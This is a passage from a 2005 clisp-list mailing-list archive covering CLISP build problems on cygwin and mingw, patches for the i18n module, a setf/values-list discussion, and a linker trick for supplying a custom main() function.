From: address is in the auto white-list Subject: [clisp-list] Re: AW: CLISP's ((setf (values-list (list a b c)) (foo)) syntax affec ts c ode walkers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 26 06:54:06 2005 X-Original-Date: Wed, 26 Jan 2005 15:47:33 +0100 Joerg-Cyril Hoehle wrote: > IMHO, it's not yet consistent, since the following source-level > transformation does not work for (setf values-list) as a function-name: > ( ...) > == (funcall (function ) ...) For all cases where (funcall (function ) ...) is valid, in clisp ( ...) is valid as well and equivalent. That's why I call this consistent. > #'(setf values-list) The function (setf values-list) does not exist, therefore both ((setf values-list) ...) and (funcall (function (setf values-list)) ...) are invalid. It is consistent. The fact that (setf (values-list ...) ...) expanded to something invalid was a bug and has now been fixed. Bruno From funkyj@gmail.com Wed Jan 26 19:33:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cu0PX-0002Ov-8i for clisp-list@lists.sourceforge.net; Wed, 26 Jan 2005 19:33:35 -0800 Received: from rproxy.gmail.com ([64.233.170.205]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cu0PW-000374-TC for clisp-list@lists.sourceforge.net; Wed, 26 Jan 2005 19:33:35 -0800 Received: by rproxy.gmail.com with SMTP id j1so219480rnf for ; Wed, 26 Jan 2005 19:33:28 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=HXZq/3ldOt172/HX5G/l+TMhtbzZYZdBXbpUzuWjPmBU3Yud8+GtAbZAbvYDIDPmDSWzqQyhtSbSKB9D034BonqV56HBRTTBPgVhiJwo1FAv8bQHitwFhiFkbOwM/AUKSy9DwPLJDrTKCTDisT534FHK6OOxWtIxLIE066FwVX4= Received: by 10.38.209.66 with SMTP id h66mr48828rng; Wed, 26 Jan 2005 19:33:28 -0800 (PST) Received: by 10.38.97.25 with HTTP; Wed, 26 Jan 2005 19:33:28 -0800 (PST) Message-ID: From: Jonathan Reply-To: jonathan@alumni.cse.ucsc.edu To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] cygwin, clisp, libsigsegv Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 26 19:34:02 2005 X-Original-Date: Wed, 26 Jan 2005 19:33:28 -0800 I've successfully built and run clisp under cygwin but when I tried to build clisp with libsigsegv on cygwin I got the following compiler error: In file included from spvw.d:24: constobj.d:89: duplicate member `charname_8bis' constobj.d:91: duplicate member `charname_10bis' constobj.d:99: duplicate member `charname_0' constobj.d:106: duplicate member `charname_7' constobj.d:107: duplicate member `charname_8' constobj.d:108: duplicate member `charname_9' constobj.d:109: duplicate member `charname_10' constobj.d:110: duplicate member `charname_11' constobj.d:111: duplicate member `charname_12' constobj.d:112: duplicate member `charname_13' constobj.d:125: duplicate member `charname_26' constobj.d:126: duplicate member `charname_27' constobj.d:131: duplicate member `charname_32' constobj.d:437: duplicate member `backupextend_string' lispbibl.d:12521:1: warning: "INVALID_HANDLE_VALUE" redefined In file included from /usr/include/w32api/windows.h:50, from /usr/local/include/sigsegv.h:21, from lispbibl.d:1727, from spvw.d:24: /usr/include/w32api/winbase.h:232:1: warning: this is the location of the previous definition make: *** [spvw.o] Error 1 Is anyone else using clisp under cygwin? If yes, are you also using libsigsegv? Regards, --Jonathan --=20 But I don't have to know an answer. I don't feel frightened by not knowing things, by being lost in the mysterious universe without having any purpose=E2=80=94which is the way it really is, as far as I can tell, possibly. It doesn't frighten me. --Feynman From sds@gnu.org Thu Jan 27 06:23:41 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CuAYf-0002tc-NI for clisp-list@lists.sourceforge.net; Thu, 27 Jan 2005 06:23:41 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CuAYd-00012E-Bb for clisp-list@lists.sourceforge.net; Thu, 27 Jan 2005 06:23:41 -0800 Received: from WINSTEINGOLDLAP ([10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j0REM0ls025624; Thu, 27 Jan 2005 09:22:01 -0500 (EST) To: clisp-list@lists.sourceforge.net, jonathan@alumni.cse.ucsc.edu Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Jonathan's message of "Wed, 26 Jan 2005 19:33:28 -0800") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, jonathan@alumni.cse.ucsc.edu Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: cygwin, clisp, libsigsegv Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 27 06:32:36 2005 X-Original-Date: Thu, 27 Jan 2005 09:23:14 -0500 > * Jonathan [2005-01-26 19:33:28 -0800]: > > Is anyone else using clisp under cygwin? If yes, are you also using > libsigsegv? no problems with CVS head (I also built the cygwin binaries for clisp releases without any problems). I installed libsigsegv 2.1 in /usr/local/libsigsegv-cygwin/ and built clisp with ./configure --with-libsigsegv-prefix=/usr/local/libsigsegv-cygwin -- Sam Steingold (http://www.podval.org/~sds) running w2k Save the whales, feed the hungry, free the mallocs. From lisp-clisp-list@m.gmane.org Thu Jan 27 12:50:27 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CuGat-0004js-K9 for clisp-list@lists.sourceforge.net; Thu, 27 Jan 2005 12:50:23 -0800 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CuGam-0006mr-0k for clisp-list@lists.sourceforge.net; Thu, 27 Jan 2005 12:50:23 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CuGaj-0006D0-00 for ; Thu, 27 Jan 2005 21:50:13 +0100 Received: from 80.102.211.210 ([80.102.211.210]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 27 Jan 2005 21:50:12 +0100 Received: from Karsten.poeck by 80.102.211.210 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 27 Jan 2005 21:50:12 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Karsten Poeck" Lines: 39 Message-ID: References: X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 80.102.211.210 X-MSMail-Priority: Normal X-Newsreader: Microsoft Outlook Express 6.00.2900.2527 X-RFC2646: Format=Flowed; Original X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 X-Spam-Score: 2.8 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 1.2 PRIORITY_NO_NAME Message has priority, but no X-Mailer/User-Agent Subject: [clisp-list] Re: cygwin, clisp, libsigsegv Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 27 13:02:20 2005 X-Original-Date: Thu, 27 Jan 2005 21:44:46 +0100 Hello, I also had that problem, but in recent cvs builds it works for me. I think #windows and #unix were defined at the same time. salud2 Karsten "Jonathan" wrote in message news:b2562c8e05012619333751f9bd@mail.gmail.com... I've successfully built and run clisp under cygwin but when I tried to build clisp with libsigsegv on cygwin I got the following compiler error: In file included from spvw.d:24: ...... Is anyone else using clisp under cygwin? If yes, are you also using libsigsegv? Regards, --Jonathan -- But I don't have to know an answer. I don't feel frightened by not knowing things, by being lost in the mysterious universe without having any purpose-which is the way it really is, as far as I can tell, possibly. It doesn't frighten me. --Feynman ------------------------------------------------------- This SF.Net email is sponsored by: IntelliVIEW -- Interactive Reporting Tool for open source databases. Create drag-&-drop reports. Save time by over 75%! Publish reports on the web. Export to DOC, XLS, RTF, etc. Download a FREE copy at http://www.intelliview.com/go/osdn_nl From kavenchuk@jenty.by Mon Jan 31 02:48:59 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CvZ71-0000Mp-8Z for clisp-list@lists.sourceforge.net; Mon, 31 Jan 2005 02:48:55 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CvZ6z-0000FF-KA for clisp-list@lists.sourceforge.net; Mon, 31 Jan 2005 02:48:55 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id DS1WTZFT; Mon, 31 Jan 2005 12:51:02 +0200 Message-ID: <41FE0D22.9090404@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] How build clisp under mingw with gettext and module i18n? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 31 02:51:31 2005 X-Original-Date: Mon, 31 Jan 2005 12:49:06 +0200 In case this is possible... OOTB failed with gettext from mingw or gnuwin32 -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Mon Jan 31 06:29:59 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CvcYx-0005vS-54 for clisp-list@lists.sourceforge.net; Mon, 31 Jan 2005 06:29:59 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CvcYt-0006Vd-5m for clisp-list@lists.sourceforge.net; Mon, 31 Jan 2005 06:29:59 -0800 Received: from WINSTEINGOLDLAP ([10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j0VESGWu027605; Mon, 31 Jan 2005 09:28:17 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <41FE0D22.9090404@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 31 Jan 2005 12:49:06 +0200") References: <41FE0D22.9090404@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: How build clisp under mingw with gettext and module i18n? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 31 06:33:14 2005 X-Original-Date: Mon, 31 Jan 2005 09:29:28 -0500 > * Yaroslav Kavenchuk [2005-01-31 12:49:06 +0200]: > > In case this is possible... > OOTB failed with gettext from mingw or gnuwin32 WFM: cvs up ./configure --with-mingw --build build-mingw what are your error messages? -- Sam Steingold (http://www.podval.org/~sds) running w2k If you try to fail, and succeed, which have you done? From kavenchuk@jenty.by Mon Jan 31 07:26:59 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CvdS7-0000wz-7p for clisp-list@lists.sourceforge.net; Mon, 31 Jan 2005 07:26:59 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CvdS4-0005kZ-Uu for clisp-list@lists.sourceforge.net; Mon, 31 Jan 2005 07:26:59 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1A7NC9XX; Mon, 31 Jan 2005 17:29:05 +0200 Message-ID: <41FE4E4E.3020801@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net CC: Bruno Haible References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: How build clisp under mingw with gettext and module i18n? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 31 07:31:56 2005 X-Original-Date: Mon, 31 Jan 2005 17:27:10 +0200 Sam Steingold: > > In case this is possible... > > OOTB failed with gettext from mingw or gnuwin32 > > WFM: > > cvs up > ./configure --with-mingw --build build-mingw > > what are your error messages? > Thanks! 1. MODPREP: wrote gettext.m.c (151,298 bytes) gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -I../ -c gettext.m.c -o gettext.o gettext.c:13:19: clisp.h: No such file or directory ... "-I../" - incorrect under mingw/msys, change to "-I.." 2. $ gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-si gn-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I . -I.. -c gettext.m.c -o gettext.o In file included from gettext.c:13: ../clisp.h:555: warning: register used for two global register variables gettext.c: In function `C_subr_i18n_language_information': gettext.c:473: error: `GET_LOCALE_INFO_BUF_SIZE' undeclared (first use in this function) gettext.c:473: error: (Each undeclared identifier is reported only once gettext.c:473: error: for each function it appears in.) gettext.c:475: warning: implicit declaration of function `get_locale_info' That's all. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Mon Jan 31 08:24:14 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CveLV-00054u-Vz for clisp-list@lists.sourceforge.net; Mon, 31 Jan 2005 08:24:13 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CveLU-0005j4-5f for clisp-list@lists.sourceforge.net; Mon, 31 Jan 2005 08:24:13 -0800 Received: from WINSTEINGOLDLAP ([10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j0VGLvf3017787; Mon, 31 Jan 2005 11:22:17 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <41FE4E4E.3020801@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 31 Jan 2005 17:27:10 +0200") References: <41FE4E4E.3020801@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PIPE BODY: Text interparsed with | -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: How build clisp under mingw with gettext and module i18n? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 31 08:26:57 2005 X-Original-Date: Mon, 31 Jan 2005 11:23:09 -0500 > * Yaroslav Kavenchuk [2005-01-31 17:27:10 +0200]: > > MODPREP: wrote gettext.m.c (151,298 bytes) > gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment > -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 > -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES > -DDYNAMIC_FFI -DNO_GETTEXT -I. -I../ -c gettext.m.c -o gettext.o > gettext.c:13:19: clisp.h: No such file or directory > ... > "-I../" - incorrect under mingw/msys, change to "-I.." please apply this to modules/i18n/Makefile.in --- Makefile.in 22 Oct 2004 13:53:54 -0400 1.1 +++ Makefile.in 31 Jan 2005 11:21:26 -0500 @@ -3,7 +3,7 @@ CC = @CC@ CPPFLAGS = @CPPFLAGS@ CFLAGS = @CFLAGS@ -INCLUDES= ../ +INCLUDES= .. MODPREP = ../modprep.fas CLISP = clisp -q -norc > $ gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment > -Wpointer-arith -Wimplicit -Wreturn-type -Wno-si > gn-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE > -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I > . -I.. -c gettext.m.c -o gettext.o > In file included from gettext.c:13: > ../clisp.h:555: warning: register used for two global register variables > gettext.c: In function `C_subr_i18n_language_information': > gettext.c:473: error: `GET_LOCALE_INFO_BUF_SIZE' undeclared (first use > in this function) > gettext.c:473: error: (Each undeclared identifier is reported only once > gettext.c:473: error: for each function it appears in.) > gettext.c:475: warning: implicit declaration of function `get_locale_info' please apply this to modules/i18n/gettext.c --- gettext.c 25 Jan 2005 09:28:44 -0500 1.7 +++ gettext.c 31 Jan 2005 11:20:59 -0500 @@ -241,6 +241,10 @@ skipSTACK(2); } +#if defined(WIN32_NATIVE) +# define GET_LOCALE_INFO_BUF_SIZE 256 +#endif + #if defined(HAVE_LOCALECONV) static void thousands_sep_to_STACK (char* sep1000) { int ii; @@ -319,7 +323,6 @@ funcall(`I18N::MK-LOCALE-CONV`,24); } #elif defined(WIN32_NATIVE) -# define GET_LOCALE_INFO_BUF_SIZE 256 static void get_locale_info (int what, char**res, int *res_size) { int val = GetLocaleInfo(LOCALE_SYSTEM_DEFAULT,what|LOCALE_USE_CP_ACP, *res,*res_size); you will need to remove the i18n/ subdirectory in your build directory. thanks for the bug report. -- Sam Steingold (http://www.podval.org/~sds) running w2k Beauty is only a light switch away. From kaz@footprints.net Mon Jan 31 10:47:44 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CvgaM-0005Xm-OR for clisp-list@lists.sourceforge.net; Mon, 31 Jan 2005 10:47:42 -0800 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.41) id 1CvgaM-0001tV-9k for clisp-list@lists.sourceforge.net; Mon, 31 Jan 2005 10:47:42 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 4.34) id 1CvgaG-0006nr-EF for clisp-list@lists.sourceforge.net; Mon, 31 Jan 2005 10:47:36 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BRACKET_OPEN BODY: Text interparsed with [ 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Linking set build hack for custom main function. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 31 10:51:44 2005 X-Original-Date: Mon, 31 Jan 2005 10:47:26 -0800 (PST) I've come up with a little build hack that allows you to write your own main() function when generating a custom lisp.run image. It's a bit platform-specific in that the objcopy tool is required. Your main() can process and filter the argument list, or perform your own custom initialization stuff before calling the CLISP one. You take your linkkit's link.sh file and change it according to this diff: --- code/unix-bindings/link.sh 16 Jan 2003 05:07:21 -0000 1.3 +++ code/unix-bindings/link.sh 14 Dec 2004 06:02:50 -0000 @@ -5,3 +5,8 @@ NEW_MODULES="$mod_list" TO_LOAD='unix' + +# hack to get our own main() + +FILES="$(echo $FILES | sed -e 's/lisp.a //')" +objcopy --redefine-sym main=clisp_main "$absolute_sourcedir"/lisp.a "$absolute_destinationdir"/lisp.a What we are doing here is taking the lisp.a image out of the FILES list, to prevent the main script from generating the symbolic link from the linking set directory to the original lisp.a. This allows our script to take on the responsibility of handling how the lisp.a component is brought over from the original linking set to our new one. Of course, we do that not by by symlinking it, but by making an edited copy using the GNU objcopy tool to rename main() to clisp_main(). Then of course in your custom C module that you are linking, you have to write a main function so everything links: /* * Main function. We arrange this by a hack; when we build the * Lisp image, we rename the main function in the lisp.a archive * to clisp_main using the objcopy utility. Then we can have our * own main. See lisp.sh file. */ int main(int argc, char **argv) { extern int clisp_main(int argc, char **argv); /* Code :before/:around CLISP */ retcode = clisp_main(new_argc, new_argv); /* Code :after CLISP */ return retcode; } Do I get brownie points for participating in aspect-oriented programming? Hahaha. Why is this useful? Well, for one thing, you can eliminate the use of a #! script to launch your CLISP application. So you are one-step closer to a ``true'' executable. Just write your main() so it adds whatever extra arguments it needs that would otherwise be in the #! script. Moreover, you can add arbitrary arguments; you don't run into strange #! limitations (which is why I experimented with this approach in the first place!) Here is an example main() that copies the argument list and adds an extra two arguments at the front, in between argument 0 and 1. Careful: the altered argument vector is locally allocated in main(), so you can't refer to it from code that runs after main() returns, like C++ destructors or atexit() handlers. #include /* for malloc and free */ /*...*/ int main(int argc, char **argv) { extern int clisp_main(int argc, char **argv); int new_argc = argc + 2; char **new_argv = malloc(sizeof *new_argv * (new_argc + 1)); int i; char E_option[] = "-M"; char E_arg[] = "/path/to/my/image.mem"; int retcode; if (argv == 0) { fprintf(stderr, "%s: out of memory\n", argv[0]); return EXIT_FAILURE; } new_argv[0] = argv[0]; new_argv[1] = E_option; new_argv[2] = E_arg; memcpy(&new_argv[3], &argv[1], sizeof argv[1] * (argc - 1)); new_argv[new_argc] = 0; retcode = clisp_main(new_argc, new_argv); free(new_argv); return retcode; } -- Meta-CVS: the working replacement for CVS that has been stable since 2002. It versions the directory structure, symbolic links and execute permissions. It figures out renaming on import. Plus it babysits the kids and does light housekeeping! http://freshmeat.net/projects/mcvs From patrick70@gmx.de Mon Jan 31 12:46:33 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CviRM-00052a-HE for clisp-list@lists.sourceforge.net; Mon, 31 Jan 2005 12:46:32 -0800 Received: from natpreptil.rzone.de ([81.169.145.163]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CviRJ-0007Av-JD for clisp-list@lists.sourceforge.net; Mon, 31 Jan 2005 12:46:32 -0800 Received: from hamburg (dialin-145-254-033-034.arcor-ip.net [145.254.33.34]) by post.webmailer.de (8.13.1/8.13.1) with ESMTP id j0VKkPvN023061 for ; Mon, 31 Jan 2005 21:46:26 +0100 (MET) Received: from localhost ([127.0.0.1] helo=there ident=patrick) by hamburg with smtp (Exim 3.35 #1 (Debian)) id 1CviR3-0000Lb-00 for ; Mon, 31 Jan 2005 21:46:13 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Patrick-Oliver Lorenz To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] Error: Invalid byte Sender: clisp-list-admin@lists.sourceforge.net Errors-To: 